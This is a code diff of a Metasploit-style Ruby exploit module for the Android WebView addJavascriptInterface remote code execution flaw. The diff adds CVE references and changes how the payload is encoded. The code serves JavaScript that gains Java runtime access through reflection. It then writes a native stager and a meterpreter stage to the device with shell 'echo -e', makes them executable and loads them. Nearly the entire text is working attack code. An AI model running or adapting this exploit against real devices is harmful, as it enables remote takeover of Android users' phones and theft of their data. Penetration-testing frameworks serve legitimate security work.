@@ -69,7 +69,11 @@ def initialize(info = {})
69
69
[ 'URL' , 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/' ] ,
70
70
[ 'URL' , 'http://50.56.33.56/blog/?p=314' ] ,
71
71
[ 'URL' , 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/' ] ,
72
- [ 'URL' , 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py' ]
72
+ [ 'URL' , 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py' ] ,
73
+ [ 'CVE' , '2012-6636' ] , # original CVE for addJavascriptInterface
74
+ [ 'CVE' , '2013-4710' ] , # native browser addJavascriptInterface (searchBoxJavaBridge_)
75
+ [ 'EDB' , '31519' ] ,
76
+ [ 'OSVDB' , '97520' ]
73
77
] ,
74
78
'Platform' => 'android' ,
75
79
'Arch' => ARCH_DALVIK ,
@@ -89,8 +93,6 @@ def initialize(info = {})
89
93
def on_request_uri ( cli , req )
90
94
if req . uri =~ /\. js/
91
95
serve_static_js ( cli , req )
92
- elsif req . uri =~ /\. msg/ && req . body . to_s . length < 100
93
- print_warning "Received message: #{ req . body } "
94
96
else
95
97
super
96
98
end
@@ -139,28 +141,15 @@ def js(arch)
139
141
.getMethod('getRuntime', null)
140
142
.invoke(null, null);
141
143
142
- // now ensure we can write out a hex-encoded byte with the shell's echo builtin
143
- var byte = exec(runtime, ['/system/bin/sh', '-c', 'echo "\\ \\ x66"']);
144
- if (byte.indexOf("\\ \\ ") > -1) {
145
- // if youre havin byte problems
146
- var xml = new XMLHttpRequest();
147
- // i feel bad for you son
148
- xml.open('POST', '#{ get_module_resource } .msg', false);
149
- // i got \\ x63 problems
150
- xml.send("Unsupported shell echo builtin: exploit aborted.");
151
- // but your shell aint one
152
- return true;
153
- }
154
-
155
144
// libraryData contains the bytes for a native shared object built via NDK
156
145
// which will load the "stage", which in this case is our android meterpreter stager.
157
146
// LibraryData is loaded via ajax later, because we have to access javascript in
158
147
// order to detect what arch we are running.
159
- var libraryData = "#{ Rex ::Text . to_hex ( ndkstager ( stagename , arch ) , '\\\\x ' ) } ";
148
+ var libraryData = "#{ Rex ::Text . to_octal ( ndkstager ( stagename , arch ) , '\\\\0 ' ) } ";
160
149
161
150
// the stageData is the JVM bytecode that is loaded by the NDK stager. It contains
162
151
// another stager which loads android meterpreter from the msf handler.
163
- var stageData = "#{ Rex ::Text . to_hex ( payload . raw , '\\\\x ' ) } ";
152
+ var stageData = "#{ Rex ::Text . to_octal ( payload . raw , '\\\\0 ' ) } ";
164
153
165
154
// get the process name, which will give us our data path
166
155
// $PPID does not seem to work on android 4.0, so we concat pids manually
@@ -170,11 +159,11 @@ def js(arch)
170
159
var stagePath = path + '/#{ stagename } .apk';
171
160
172
161
// build the library and chmod it
173
- runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor();
162
+ runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+libraryData+'" > '+libraryPath]).waitFor();
174
163
runtime.exec(['chmod', '700', libraryPath]).waitFor();
175
164
176
165
// build the stage, chmod it, and load it
177
- runtime.exec(['/system/bin/sh', '-c', 'echo "'+stageData+'" > '+stagePath]).waitFor();
166
+ runtime.exec(['/system/bin/sh', '-c', 'echo -e "'+stageData+'" > '+stagePath]).waitFor();
178
167
runtime.exec(['chmod', '700', stagePath]).waitFor();
179
168
180
169
// load the library (this fails in x86, figure out why)
0 commit comments